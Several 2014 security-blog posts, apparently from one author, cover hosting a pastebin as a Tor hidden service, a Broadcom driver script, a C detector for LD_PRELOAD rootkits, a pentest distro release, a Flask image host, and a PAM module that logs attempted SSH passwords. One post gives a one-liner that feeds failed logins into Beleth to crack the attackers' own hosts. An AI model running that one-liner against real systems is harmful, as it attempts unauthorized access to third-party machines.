Tuesday, July 22, 2014

Defuse.ca's Encrypted Pastebin as a TOR Hidden Service

Introduction

The following is all based on the original code from defuse.ca who was gracious enough to release the code via Github. The released repository is mostly intact, but requires some quick fixes to get it running. I forked the original repository, and created an easy to deploy standalone package, also available from Github

The code is obviously available for review, but this article will focus on deploying PIEBin as a TOR hidden service. Testing was done under vanilla Debian install on a minimal VPS setup.

Dependencies

Before we dig in, you'll need to install the following packages onto your VPS.
  • MySQL
  • Nginx
  • PHP
  • Tor
$ sudo apt-get install mysql-server php5-mysql nginx php5-fpm tor

Download Pastebin Files

For minimal configuration, install the files into /usr/share/nginx/www/pastebin via the following commands. Please note that if you are setting up your own TOR service, you should take precautions while downloading the software that you intend to run as the hidden service. Timing analysis / timeline reconstruction could point a finger at you if you're using either your server or home IP address to acquire the software from third party sites. Download using your tor browser or setup proxy chains.

 $ cd /usr/share/nginx/www
 $ git clone [email protected]:chokepoint/pastebin.git

Initialize the Database

Now that we have mysql installed, we need to create the database and table structure for the pastebin application. Using the password you created during installation, open up the MySQL client.

mysql -u 'root' -p
Password: *****
> CREATE DATABASE pastebin;
> CREATE TABLE pastes (token VARCHAR(70), data TEXT, time INTEGER, jscrypt TEXT);

Preparing TOR

Configuring a server as a TOR hidden service is relatively straight forward, but care must be taken in order to not leak information about the actual host of the service. We'll configure both port 80 and 443. HTTP requests will simply be redirected to the HTTPS service for security reasons. To do this, we'll add the following three lines to /etc/tor/torrc

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 443 127.0.0.1:443
HiddenServicePort 80 127.0.0.1:80

Now, simply restart tor in order to reveal your new .onion address.

$ sudo service tor restart
$ sudo cat /var/lib/tor/hidden_service/hostname
sldfjadlkjfalieta.onion

Generate Self Signed SSL Certificates

In order to support encrypted HTTPS connections, we must generate a self signed certificate. The following sequence will set up a 2048 bit key for use with nginx which we'll configure next.

 $ sudo mkdir /etc/nginx/ssl && cd /etc/nginx/ssl
 $ sudo openssl genrsa -des3 -out server.key 2048
 $ sudo openssl req -new -key server.key -out server.csr
 $ sudo cp server.key server.key.org
 $ sudo openssl rsa -in server.key.org -out server.key
 $ sudo openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt

Configure nginx

As I mentioned earlier, you need to take steps to ensure information is not leaked about the actual server hosting these hidden services. The following section will configure nginx to listen on localhost only so that our service can only be accessed through the TOR network. Be sure to change server_name to the .onion you generated during the first step. You may also need to tweak the root directory depending upon where you originally installed the pastebin source files.

# /etc/nginx/sites-available/default
 server {
  listen 127.0.0.1:80; ## listen for ipv4; this line is default and implied
  listen 127.0.0.1:443 ssl;
 
  ssl_certificate /etc/nginx/ssl/server.crt;
  ssl_certificate_key /etc/nginx/ssl/server.key;
 
  root /usr/share/nginx/www/pastebin; # Change to your directory
  index index.php index.html index.htm;
 
  # Change this to the onion address we created earlier.
  server_name sldfjadlkjfalieta.onion;
 
  location / {
   try_files $uri $uri/ /index.html;
  }
 
  location ~ \.php$ {
               try_files $uri =404;
               fastcgi_pass 127.0.0.1:9000;
               fastcgi_index index.php;
               fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
               include fastcgi_params;
               
       }
 
  #error_page 404 /404.html;
  #error_page 405 = $uri;
 }

Next we'll disable logging by modifying /etc/nginx/nginx.conf.

access_log /dev/null
error_log /dev/null

Now restart nginx so that the changes take effect.

Testing

If you completed the above steps you should now be running your own TOR hidden, encrypted pastebin. Open up your browser and navigate to the .onion address we generated earlier.

Friday, April 25, 2014

Installing Broadcom BCM43142 Drivers on Kali Linux

Introduction

I've seen some confusion when it comes to installing the wireless drivers for Broadcom's BCM43142 802.11b/g/n card, specifically with Kali or other Debian based distributions. If you're running Linux kernel < 3.10, then just comment out the lines regarding the wl_3.10 patch. This script has been run on both 32bit and 64bit installations with Kali 1.0.6.

lspci

$ lspci | grep BCM43142
02:00.0 Network controller: Broadcom Corporation BCM43142 802.11b/g/n (rev 01)

Installing the drivers

The script is available through Github using the wget command below, or check the bottom of this article for the full script.

$ wget https://gist.githubusercontent.com/chokepoint/11305606/raw/52109f648c2ad5ec6a65bf8eee78fbda15fa1cfb/bcm43142_drivers.sh
$ chmod +x bcm43142_drivers.sh
$ sudo ./bcm43142_drivers.sh

Resources

Kali Linux
Broadcom Driver Instructions
Original wl_3.10 Patch

Script

#!/bin/bash
# chmod +x broadcom_drivers.sh
# ./broadcom_drivers.sh

mkdir broadcom 
cd broadcom
apt-get install linux-headers-`uname -r` build-essential -y

if [ `uname -m` == "i686" ] ; then
 wget http://www.broadcom.com/docs/linux_sta/hybrid-v35-nodebug-pcoem-6_30_223_141.tar.gz
else
 wget http://www.broadcom.com/docs/linux_sta/hybrid-v35_64-nodebug-pcoem-6_30_223_141.tar.gz
fi
tar -xvf hybrid-v35*
wget http://www.mindwerks.net/wp-content/uploads/2013/10/wl_3.10.patch
patch -p2 < wl_3.10.patch
make
cp wl.ko /lib/modules/`uname -r`/kernel/net/wireless/
depmod
rmmod bcma
echo "blacklist bcma" >> /etc/modprobe.d/blacklist.conf
modprobe wl

Friday, February 14, 2014

Detecting Userland Preload Rootkits

Introduction

We recently released a new userland rootkit on BHL named Azazel. It's similar to previous versions of Jynx/Jynx2, but is more advanced and focused on anti-debugging and anti-detection methods. This leads us into a current major problem with rootkit detection mechanisms such as rkhunter. Put simply, if you run these tools in a potentially compromised environment, you cannot trust their output. Rkhunter relies primarily on signature detection which is fine for known threats that use default values and file names, but here's a simple detection method that compares the address of syscalls loaded directly from libc, and the "next" address to that system call. By comparing the two values, you can more accurately detect preload based userland rootkits.

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
 void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
 char *syscalls[] = {"open", "readdir", "fopen", "accept", "access", "unlink"};
 int i;
 void *(*libc_func)();
 void *(*next_func)();

 for (i = 0; i < 6; ++i) {
  printf("[+] Checking %s syscall.\n", syscalls[i]);
  libc_func = dlsym(libc, syscalls[i]);
  next_func = dlsym(RTLD_NEXT, syscalls[i]);
  if (libc_func != next_func) {
   printf("[!] Preload hooks dectected!\n");
   printf("Libc address: %p\n", libc_func);
   printf("Next address: %p\n", next_func);
  }
 }

 return 0;
}
$ gcc preloadcheck.c -o preloadcheck -ldl
$ ./preloadcheck
[+] Checking open syscall.
[+] Checking readdir syscall.
[+] Checking fopen syscall.
[+] Checking accept syscall.
[+] Checking access syscall.
[+] Checking unlink syscall.
Now here's an example run against Azazel.
$ LD_PRELOAD=/lib/libselinux.so ./preloadcheck
[+] Checking open syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf65a890
Next address: 0x7fe1bfb1d932
[+] Checking readdir syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf633c50
Next address: 0x7fe1bfb1dc56
[+] Checking fopen syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf5f46c0
Next address: 0x7fe1bfb1d6c6
[+] Checking accept syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf6676a0
Next address: 0x7fe1bfb1eb4a
[+] Checking access syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf65ab40
Next address: 0x7fe1bfb1d670
[+] Checking unlink syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf65bd50
Next address: 0x7fe1bfb1db58

Note: This is not an end all to preload kits. As we have seen with Azazel, kits are still able to selectively filter results or unhook specific programs to avoid detection. It is also important to note that by hooking libdl.so's functions themselves, one could even evade this detection mechanism.

Sunday, February 9, 2014

CrunchPwn Linux Full Alpha Release

#Pwn Linux

CrunchPwn Linux full alpha live CD is now available for download on Sourceforge and in torrent form on Linux Tracker. If you would like to install it as an addition to your existing Debian / CrunchBang environment, follow the directions below to add the repository to apt.

$ curl http://repo.crunchpwn.org/gnupg.key | sudo apt-key add -
$ echo '## Crunchpwn
deb http://repo.crunchpwn.org/ purson main' >> /etc/apt/sources.list
$ sudo apt-get update 
$ sudo apt-get install crunchpwn

Default Credentials

User: user
Password: crunchpwn

Screenshots




Updates in Alpha Release

Updates include a completely revamped tool menu and the addition of several packages. For a full list of tools, head over to the github documents section.

DatePackageType
9-Feb-2014crunchpwn_0.1-7Full Alpha
9-Feb-2014cp-openbox-theme_0.1-2Update
6-Feb-2014exploit-db_02.06.2014Update
31-Jan-2014wifijammer_0.1New
31-Jan-2014crunchpwn_0.1-6Nightly Build
29-Jan-2014cp-openbox-themeUpdate
29-Jan-2014cp-slim-confUpdate
28-Jan-2014exploit-db_01.28.2014Update
25-Jan-2014crunchpwn_0.1-5Nightly Build
25-Jan-2014wolpertinger_0.6-1New
22-Jan-2014crunchpwn_0.1-4Nightly Build

Request for Support

Notice a bug, or missing tool that you'd like to see added? Please open an issue on the github issue tracker so that one of our maintainers can address it. If you're interested in creating some artwork or additional themes, feel free to submit them as well. We accept pull requests of all sizes.

Monday, January 27, 2014

Reverse SSH Cracking with Beleth and PAM

Disclaimer

Attempting to gain unauthorized access to remote computers is illegal, and I am not responsible for any use of this proof of concept in a live environment.

Introduction

This is an incredibly rude one liner that attempts to crack remote SSH passwords when an incoming login attempt fails.

Prerequisites

In order for this little trick to work, you'll need to setup a PAM module that I wrote about in a previous post. I recently pushed an update to Beleth that allows passing a single password via the command line interface, so you'll need to grab a fresh copy from the github.

The one liner

tail -f /var/log/auth.log | stdbuf -o0 sed s/[:\(\)]/\ /g|awk '{if ($13 ~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {print "beleth -t "$13" -u "$14" -P "$15}}'

This parses through the authorization log and is continuously updated with failed login attempts. It uses sed/awk to grab the remote host, attempted user, and password combination. Beleth then uses the information to attempt the same login credentials on the remote host. stdbuf ensures that the streams are being properly flushed so that it works in real time.

Thursday, January 16, 2014

Flaskgur: Simple Imgur clone with Flask and Python

Introduction

As part of a previous post I wrote about using PyTinyDNS to dynamically assign DNS subdomains with updated IP addresses every time a user connects. Another service that we were missing was a simple image sharing site for use exclusively on the VPN. I've been intending to play with Flask for a while now this seemed like a good excuse to dive in.

Enter Flask

Flask is a microframework for Python based on Werkzeug and Jinja2. This combination of tools allows rapid development of web applications through Jinja's modern extensible template language and Werkzeug's URL routing modules.

Setup Flaskgur

If this is your first time playing with flask, go ahead grab virtualenv. Flask will be installed later.

$ sudo pip install virtualenv
$ 

Now grab a copy of Flaskgur and setup the new virtual environment.

$ git clone https://github.com/chokepoint/flaskgur.git
$ cd flaskgur
$ virtualenv venv
$ . venv/bin/activate
$ pip install Flask

Flaskgur relies on a small sqlite database with an id field and filename field. The git repository comes with a copy of the database schema.

$ sqlite3 flaskgur.db < schema.sql

Now edit flaskgur.py and point the base directory to your desired location and start Flaskgur.

$ python flaskgur.py 
 * Running on http://0.0.0.0:5000/
 * Restarting with reloader

Flaskgur Layout

The directories are broken down into the following list.

  • pics - Where the uploaded pictures are saved
  • static - Static formatting files (css) and custom 404 image
  • templates - Jinja2 formatted template files

For simplicity, the custom 404 page doubles as error page for bad file types. base.html is the base template, and data is filled in respectively by upload.html and 404.html thanks to Jinja. I included a simple macro in upload.html as well for a basic example.

Going Beyond

This is not a complete product by any means, and I do not profess to be a CSS guru. If you'd like to clean up some of the formatting, pull requests are always welcome. The database could easily be upgraded to include a description of photos or incorporate a ranking system. If you're interested in extending this project, head on over to github and add whatever you feel is necessary.

Wednesday, January 8, 2014

More fun with PAM-Python -- Logging Failed SSH Passwords

Introduction

Following up from my last post about a two-factor SSH authentication python module, I thought I'd add one more module that has yielded some interesting results as well. If you watch your authorization log closely you'll undoubtedly notice multiple failed login attempts per day primarily for root/privileged users. These scans are largely automated by using lists of popular passwords and SSH cracking programs such as Beleth. Typical authorization logs from SSHd look similar to the entry below.

Jan  1 18:10:51 lan sshd[19972]: Failed password for root from 61.xxx.xxx.34 port 33302 ssh2

I thought it would be interesting to see not only which users were commonly targets of attack, but also the wordlists being actively used by these bots. The module below will log a copy of the attempted username and password for all failed login attempts. I've also included a copy of all failed attempts logged after running this module for a week. The log entry below is how auth.log will look while using the module.

Jan  1 19:58:39 lan sshd: SSH Attack Logged: Remote Host: 61.xxx.xxx.34 (root:password1)

The Source

import crypt, spwd, syslog

def auth_log(msg):
 """Send errors to default auth log"""
 syslog.openlog(facility=syslog.LOG_AUTH)
 syslog.syslog("SSH Attack Logged: " + msg)
 syslog.closelog()

def check_pw(user, password):
 """Check the password matches local unix password on file"""
 hashed_pw = spwd.getspnam(user)[1]
 
 return crypt.crypt(password, hashed_pw) == hashed_pw

def pam_sm_authenticate(pamh, flags, argv):
 try:
  user = pamh.get_user()
 except pamh.exception, e:
  return e.pam_result
 
 if not user:
  return pamh.PAM_USER_UNKNOWN
  
 try:
  resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:'))
 except pamh.exception, e:
  return e.pam_result
  
 if not check_pw(user, resp.resp):
  auth_log("Remote Host: %s (%s:%s)" % (pamh.rhost, user, resp.resp))
  return pamh.PAM_AUTH_ERR
 
 return pamh.PAM_SUCCESS

def pam_sm_setcred(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_acct_mgmt(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_open_session(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_close_session(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_chauthtok(pamh, flags, argv):
 return pamh.PAM_SUCCESS

Configuration

Configuration is similar to the STAMP 2-factor authentication module. Instead of adding an additional authentication requirement, we're simply going to replace the standard password entry in /etc/pam.d/sshd with our new module. Save a copy of the source code to /lib/security/pwreveal.py. Now, open up /etc/pam.d/sshd and insert the line below.

#@include common-auth
auth       requisite     pam_python.so pwreveal.py

Resources

You can run similar experiments by using any number of widely available honeypot projects. Kippo is an SSH based honeypot that includes not only password logging, but also places attackers in a sandboxed shell that logs all of their commands. If you don't want to deal directly with the kippo software, it's included as part of Honeydrive, a full featured VM honeypot.

Collected wordlist